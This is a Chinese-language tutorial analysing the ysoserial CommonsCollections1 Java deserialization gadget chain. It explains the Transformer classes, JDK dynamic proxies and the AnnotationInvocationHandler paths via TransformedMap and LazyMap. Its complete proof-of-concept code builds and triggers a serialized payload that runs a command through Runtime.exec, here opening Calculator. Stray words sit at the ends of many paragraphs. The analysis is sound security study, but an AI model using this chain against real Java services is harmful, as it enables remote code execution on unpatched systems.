YsoSerial 工具經常使用Payload分析之CC1

前文介紹了最簡單的反序列化鏈URLDNS,雖然URLDNS自己不依賴第三方包且調用簡單,但不能作到漏洞利用,僅能作漏洞探測,如何才能實現RCE呢,因而就有Common-collections1-七、Common-BeanUtils等這些三方庫的利用。本文須要前置知識Java反射、動態代理等。CC1其實比較難,會用到不少高級特性,但理解了CC1後面的payload也就能輕鬆理解了。java

背景

Common-collections是對jdk自帶的數據類型的三方加強框架,相似python裏面的collections包,common-collections 目前有兩個分支,3.X和4.X,從pom文件裏面能夠看到二者的groupId與artifactId都不一樣,擁有不一樣的命名空間,因此能夠在一個包裏面能夠同時使用。python

<dependency>
			<groupId>commons-collections</groupId>
			<artifactId>commons-collections</artifactId>
			<version>3.1</version>
</dependency>

<dependency>
			<groupId>org.apache.commons</groupId>
			<artifactId>commons-collections4</artifactId>
			<version>4.0</version>
</dependency>

這兩個包大部分的用法都很相似,咱們先來了解包裏面很重要的四大Transform。apache

Transformer

要學習CC鏈(我把基於common-collections利用的鏈簡稱爲CC鏈),首先得了解CC鏈中用到的類及方法的基礎用法,咱們須要瞭解CC中提供的四大Transformer。數組

  • InvokerTransformer
  • ConstantTransformer
  • ChainedTransformer
  • InstantiateTransformer

這一篇文章先介紹前三種,後面介紹InstantiateTransformer安全

InvokerTransformer

在源碼中,做者對這個類的解釋是,這個類按照Transformer接口規範以反射的方式生成一個新對象app

image-20210723174023371

咱們就很清楚這個類就是拿來生成新對象的,而且是經過Transformer接口定義的transform()方法生成的,能夠看到Transformer接口的描述框架

image-20210723174047040

InvokerTransformer的實現:ide

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

其中的iMethodName、iParamTypes、iArgs來自於構造方法.函數

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

InvokerTransformer.transform(Object input) ,就是以反射方式執行input對象的傳入構造方法中的method方法。工具

其實common-collections的萬惡之源也就是這個類,由於這個類可以根據傳參動態生成新的對象,若是參數可控的狀況下,咱們能夠用這個類來動態執行代碼,如:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});

  invokerTransformer.transform(Runtime.getRuntime());

執行效果:

image-20210722104543731

ConstantTransformer

ConstantTransformer 這個類功能比較簡單,就是將初始化傳入的對象變爲final後執行transform返回。

image-20210722105144056

image-20210722105223495

String test = new String("1111111");
 ConstantTransformer transformer =  new ConstantTransformer(test);
 Object obj =  transformer.transform(null);

 System.out.println(test.hashCode());
 System.out.println(obj.hashCode());

代碼執行後輸出:

image-20210722105607319

能夠通俗理解初始化傳入什麼transform就會返回什麼。

ChainedTransformer

ChainedTransformer 理解起來可能會繞一些,初始化時傳入transforms數組.

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
}

執行transform方法時會遍歷初始化傳入的數組,並將上一個對象執行transforms的結果做爲下一個對象執行transform的參數,以鏈式方式進行執行

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
}

在已經清楚了InvokerTransformer、ConstantTransformer的狀況下咱們能夠用他們精心構造一個transform數組來演示Chaninedtransformer。咱們構造鏈一個Transformer數組,裏面的元素有預先定義好的ConstantTransformer與InvokerTransformer。

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

執行chainedTransformer.transform(null)方法時,其實內部至關因而這麼調用的:

  • obj1=new ConstantTransformer(Runtime.getRuntime()).transform(null)
  • obj2 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).tranform(obj1)
  • Runtime.getRuntime()).exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")

執行效果:

image-20210722111137730

挖掘利用鏈

思路一

在前面咱們其實已經簡單構造了一個惡意類了,即上面精心構造的chainedTransformer,咱們只要去代碼的海洋裏面找到有誰會調用chainedTransformer的transform方法就能觸發代碼執行,而後安全人員就發現了兩個方法能夠對這個惡意類進一步的包裝,使其變成一個通用的數據類型,一個是TransformedMap.decorate 另外一個 lazyMap.decorate, 這兩種方式都是對普通Map進行加強,使其在特定場合可以觸發transform。也就是惡意類轉變爲了Map,使其利用更加通用。

咱們來看一下TransformedMap.decorate()這個方法吧,提供了三個參數 原始map、keyTransformer、valueTransformer

image-20210722145330688

跟進TransformerMap 發現其重寫了map的許多方法,有checkSetValue、put、putAll ,加強map在執行這三個方法時就會執行初始化入參的Transformer.transform()方法,假如咱們傳入的就是咱們構造的惡意chained Transformer ,那就成功的觸發了惡意類。不過keytransform是對key進行執行,valueTransformer是對map的value執行,但其實父類的setValue也會調用checkSetValue,因此實際上是有checkSetValue、put、putAll、setValue 調用就會觸發惡意類執行。

image-20210722151434781

image-20210722154415555

這個時候這個惡意類的使用範圍就一下擴大了,畢竟不少地方都會對map進行put或者setValue的操做,那安全人員首先就找到了sun.reflect.annotation.AnnotationInvocationHandler 這個類,這是一個JDK自帶的類(rt.jar/sun/reflect/annotation/AnnotationInvocationHandler),這個類在反序列化後通過一系列騷操做最後就會調用咱們上面的惡意類,分析反序列化漏洞會先從類的readObject開始,看一下AnnotationInvocationHandler 的readObject方法(jdk1.8.20),咱們以前說過只要對map進行checkSetValue、put、putAll、setValue就能觸發惡意類執行,那在代碼的293行就很明顯有調用setValue方法。

image-20210722154728811

293行中的var5 實際上是對象私有屬性memberValue的值,只要咱們將memberValue值賦於咱們的惡意類,那這個漏洞是否是就串起來了。

因此咱們整理下,而後用本身的代碼來實現驗證:

第一步,基於InvokeTransformer、ConstantTransformer生成一個惡意的ChainedTransformer

public class Test {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";  //打開計算器,不一樣平臺須要替換命令
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{new Object(),new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        // chainedTransformer.transform(1); 測試觸發
    }
}

這裏可能會有人會疑問爲啥這個transformers 數組會經過Runtime.class 去不斷反射執行,而不是像以前介紹InvokeTransformer時直接使用getRuntime()呢,即下面的transform1和transfom2在生成chainedTransfomer時有什麼區別:

Transformer[] transformers1 =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };

        Transformer[] transformers2 =  new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };

其實真正可以完成反序列化代碼執行只有transformers1,爲啥? 由於Java 要能完成序列化與反序列化要求這個被序列化的類有繼承Serializable,而Runtime類沒有繼承,因此直接使用transformers2 就會報錯。

第二步,使用TransformedMap.decorate() 生成一個通過transformer加強的map惡意類

這裏咱們使用生成一個原始的hashmap,key和value 先隨便設,這裏先留個心眼,等會咱們還要回頭看,TransformedMap 調用setValue其實是調用了valueTransformer,因此應該將transfomer給到第三個參數。

image-20210722163751377

第二步代碼以下

//        第二步
        HashMap<String,String> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");  // 這個地方留坑
        Map evilMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
//        Map.Entry entry = (Map.Entry) evilMap.entrySet().iterator().next();
//        entry.setValue("1");    測試觸發

第三步,給AnnotationInvocationHandler私有變量memberValues 賦值惡意對象

AnnotationInvocationHandler 的構造函數沒有用public修飾,無法直接經過new 的方式生成對象,因此咱們要經過萬能的反射獲取構造方法,而後執行newInstance的方式來生成AnnotationInvocationHandler對象。其中構造方法第一個參數要求爲Annotaion的子類,咱們這裏傳入@Target,第二個參數即爲咱們想要賦值的變量memberValues。

image-20210722165059364

代碼:

//       第三步
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  clazz.getDeclaredConstructor(Class.class,Map.class);  // 經過反射獲取構造器
        constructor.setAccessible(true);  // 設置能夠訪問
        InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);  // 傳入@target和惡意map

第四步 反序列化觸發

//        第四步 
        String path = ExpUtils.serialize(evilHandler);  // 使用本身封裝的序列化函數返回序列化文件的路徑
        ExpUtils.unserialize(path);  // 反序列指定文件

執行這全部步驟的代碼,但並無按照咱們預期的執行命令而後彈出計算器。

image-20210722171316772

打上斷點進行調試看一看

image-20210722171855748

原來在執行setvalue前有一個if分支,要求var7不爲null,而這個var7 是AnnotationInvocationHandler構造傳參的第一個註解參數獲取咱們惡意map的key的返回值,因此要是var7不爲null,惡意map的key爲一個有意義的值,那應該是啥呢,打開var3變量能夠看到只要將key設置爲value var7便可不爲null。

image-20210722172534475

因此修改第二步hashMap中key爲value,從新運行代碼

image-20210722172646854

成功執行,沒毛病~

目前這個利用方式害只能在較低的jdk版本運行,1.8.71 如下,高版本移除了對memberValue的setValue方法

image-20210722173049030

其實這個思路和yso中cc1的利用鏈還不一樣,也就是這其實不是CC1 ,只是另一種方式的利用方法,那真正的CC1是怎麼利用的呢? 請看思路二

思路二

思路一是經過readObject中的存在觸發函數而利用的,而思路二則是迴歸AnnotationInvocationHandler 這個類自己,AnnotationInvocationHandler 實現了InvocationHandler,而InvocationHandler 是做爲jdk動態代理使用的,經過調用InvocationHandler中的invoke方法來對被代理對象進行加強。

這裏展開下動態代理吧

JDK動態代理

其實代理分爲靜態代理與動態代理,靜態代理即手動的建立一個代理類,在代理類中調用本來的類,外界經過手動掉用代理的方式實現類被代理的效果,靜態的方式有明顯的缺點,如我想爲某一個類增長一個埋點上報的功能,這個時候用靜態代理沒有問題,但我還有若干個類也想埋點上報這就須要我編寫若干個代理類,不方便實際使用,因此動態代理就出來了,動態代理能夠經過編寫一個AnnotationInvocationHandler的實現類就能夠爲每個想要加強的類實現相似的功能,很是靈活也減小了工做量。

動態代理有不少種實現,總的分爲:

  • 預編譯方式 主要有AspectJ
  • 運行期動態代理 表明的有 JDK動態代理、CGLib動態代理,JDK動態代理只能代理實現了藉口的類

動態代理也是Spring核心技術AOP的重要實現方式,下面用一個實例演示JDK動態代理的使用。

項目中存在

image-20210722192146495

Animal接口,定義了動物能幹的事:

package ProxyDemo;

public interface Animal {
    public void eat();
}

CatImpl 實現了Animal接口

package ProxyDemo;

public class CatImpl implements Animal{
    @Override
    public void eat() {
        System.out.println("miao~");
    }
}

AnimalHandler 實現了InvocationHandler接口,重寫後的大概邏輯就是在原對象運行的先後分別輸出pre和after,注意點是原對象每次執行任意原方法如這裏的eat都會調用handler中的invoke方法。

package ProxyDemo;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class AnimalHandler implements InvocationHandler {

    private final Object obj0;

    public AnimalHandler(Object obj0){
        this.obj0 = obj0;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("pre");
        Object res = method.invoke(obj0,args);
        System.out.println("after");
        return res;
    }
}

TestMain 中完成調用具體邏輯, 調用Proxy的靜態方法newProxyInstance,分別傳入classloader、原類接口、handler

package ProxyDemo;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class TestMain {
    public static void main(String[] args) {
        InvocationHandler handler = new AnimalHandler(new CatImpl());
        Animal cat = (Animal) Proxy.newProxyInstance(TestMain.class.getClassLoader(),CatImpl.class.getInterfaces(),handler);
        cat.eat();
    }
}

執型TestMain的main方法,結果:

image-20210722193306517

明顯已經在原來輸出miao~的先後加上了pre與after完成了加強,其實我的感受這裏特別像python的裝飾器。

介紹完JDK動態代理後咱們回過頭來看AnnotationInvocationHandler 這個類,咱們發現它就是對InvocationHandler 的實現,具體Invoke邏輯以下:

image-20210722193836152

在53行代碼中有對memberValue作get操做,回顧以前TransformedMap加強對hashmap會在setValue時候觸發惡意類,那有沒有能夠經過執行get方法觸發惡意類的方式呢? 答案是確定的,就是經過開頭咱們提到的LazyMap.decorate ,Lazymap的大體功能根據字面意思也能夠知道,就是提供懶加載的功能,具體到執行get方法是,先去判斷map中是否存在這個key 若是沒有就調用 LazyMap.decorate 初始化傳入到transformer對象的transfrom方法,進而出發惡意transform。

image-20210722194541979

那思路其實就清晰了,反序列化過程當中想辦法調用AnnotationInvocationHandler 的invoke方法便可觸發惡意類執行,那怎麼調用invoke方法呢,由於AnnotationInvocationHandler自己就實現了invoke方法,因此咱們直接用它做爲動態代理的handler,只要原對象有執行任意方法便可調用invoker完成惡意類執行。此次甚至都不用管var7是否爲null了,由於memberValues在其以前有執行entrySet方法,進而調用invoke,調用memberValues.get()方法觸發惡意類。

image-20210722195035709

執行流程:

  1. AnnotationInvocationHandler.readObject()
  2. this.memberValues.entrySet()
  3. AnnotationInvocationHandler.invoke()
  4. this.memberValues.get()
  5. Lazy map.get()
  6. ChainedTransformed.transform()
  7. Runtime.getRuntime().exec(cmd)

那咱們用本身的代碼來實現如下:

第一步 生成LazyMap加強後的map,chainedTransform生成和思路一同樣

//        chainedTransformer 和思路一輩子成方式一致
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<String,String> hashMap = new HashMap<>();
        hashMap.put("testKey","testVal");
        Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);  //  使用lazyMap加強

第二步 生成AnnotationInvocationHandler 對象

同思路一一致,經過反射獲取構造函數的方式生成AnnotationInvocationHandler對象

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  clazz.getDeclaredConstructor(Class.class,Map.class);  // 反射獲取構造函數
        constructor.setAccessible(true);
        InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap);  // 執行構造函數生成對象,傳入lazyMap

第三步 經過動態代理使用第二步AnnotationInvocationHandler的代理lazyMap,並將其做爲構造方法參數賦值給memberValues

Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler);
  InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap);  // 傳入代理lazyMap

第四步 序列化反序列化觸發

String path =  ExpUtils.serialize(finalEvilHandler);
        ExpUtils.unserialize(path);

完美觸發,沒毛病~

image-20210722201030261

思路二就是CC1鏈的主要邏輯,但CC1在8u71後不能使用,咱們對比下新老版本,分析一下緣由

image-20210722201339686

左邊爲新版本右邊爲舊版本,能夠看到在新版jdk中,反序列化再也不經過defaultReadObject方式,而是經過readFields 來獲取幾個特定的屬性,這兩種方式有什麼區別呢,通過我本身屢次調試發現defaultReadObject 能夠恢復對象自己的類屬性,好比this.memberValues 就能恢復成咱們本來設置的惡意類,但經過readFields方式,this.memberValues 就爲null,因此後續執行get()就必然沒發觸發,這也就是高版本不能使用的緣由,網上大多會說是由於取消了SetValue致使不能觸發,但其實否則,思路一確實是由於這個緣由,但CC1和取消setValue沒有半毛錢關係。

總結

通過洋洋灑灑4000多字分析了AnnotationInvocationHandler的兩種思路上的利用方式,其中YSO工具中CC1鏈就是本文中的思路二,CC1 用到了不少高級特性,理解上可能會比較困難,但只要搞懂了後續的鏈也就很輕鬆了,目前CC1還只能在低於8u71的版本利用或者比修復這個漏洞前的版本,那若是對方機器是高版本且爲Common-collections4 呢,後續的CC2 就來看看Common-collections4下的利用。

p神代碼審計知識星球
https://xz.aliyun.com/t/7031#toc-2

相關文章
相關標籤/搜索